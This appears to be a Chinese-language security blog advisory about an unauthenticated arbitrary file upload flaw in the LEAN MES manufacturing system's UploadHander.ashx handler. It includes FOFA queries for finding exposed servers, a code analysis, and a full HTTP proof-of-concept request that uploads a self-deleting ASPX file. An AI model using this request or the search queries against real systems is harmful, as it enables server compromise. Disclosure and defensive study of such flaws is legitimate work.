深科特 LEAN MES系统 UploadHander.ashx 文件上传漏洞


漏洞简介

LEAN MES系统是由深圳市深科特信息技术有限公司开发的一款应用系统,主要用于生产调度、产品跟踪、质量控制等车间管理功能。LEAN MES精益制造执行系统通过强调制造过程的信息化和透明化,帮助企业由粗放式向精益化管理模式升级。该系统/Handler/UploadHander.ashx存在任意文件上传漏洞。攻击者可通过构造恶意请求,绕过文件类型或内容校验,上传恶意文件(如WebShell),实现任意命令执行,获取服务器控制权限,导致敏感数据泄露或系统被进一步攻击。

影响版本

fofa语法

(title="LEAN MES - 用户登录" && body="LEAN MES") || body="Content/js/skt.utility.checkmobile.js" || body="../MobileApp/VerifyError.aspx" || body="Content/login/login2/multiplant_top.png"

漏洞分析

根据 UploadHander.ashx 引用的代码逻辑,在bin目录找到SKT.LeanMES.Web.dll文件,在其中找到Handler.UploadHander的实现逻辑

关键点

string str = string.op_Equality(actionName, "FileUploadEquiment") || string.op_Equality(actionName, "MouldAnormal") ? this.FileUploadEquiment(context, actionName) : (!string.op_Equality(actionName, "ImportResultData") ? this.FileUpload(context, actionName) : this.ImportResultData(context));
  • 如果 actionName 是 "FileUploadEquiment" 或 "MouldAnormal",则调用 FileUploadEquiment 方法。
  • 否则(如果 actionName 不是上述两者),它会进一步检查:
    • 如果 actionName 是 "ImportResultData",则调用 ImportResultData 方法。
    • 否则(如果 actionName 既不是上述三种情况),则调用 FileUpload 方法。

ImportResultData-文件上传

跟进ImportResultData 看下它的实现逻辑

直接上传任何文件到/UploadFiles/TemporaryFile/目录下,全程无任何过滤或校验。

FileUploadEquiment/MouldAnormal-文件上传

也是直接诶上传,且无任何过滤,只不过是上传到FTP服务文件夹,一般不能直接访问。

漏洞复现

ImportResultData-文件上传

POST /Handler/UploadHander.ashx?Action=ImportResultData HTTP/1.1
Host: lean.mes.mrxn.net
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="Filedata"; filename="1.aspx."

<%@Page Language="C#"%><%Response.Write(Guid.NewGuid().ToString("N"));System.IO.File.Delete(Server.MapPath(Request.Url.AbsolutePath));%>
------WebKitFormBoundary--

访问/UploadFiles/TemporaryFile/1.aspx文件

成功执行代码,并删除自身。

MouldAnormal/FileUploadEquiment-文件上传


手机扫码阅读

深科特 LEAN MES系统 CreateMenus.aspx 任意文件上传漏洞

深科特 LEAN MES系统 TestManagePlatform.ashx SQL注入漏洞

评 论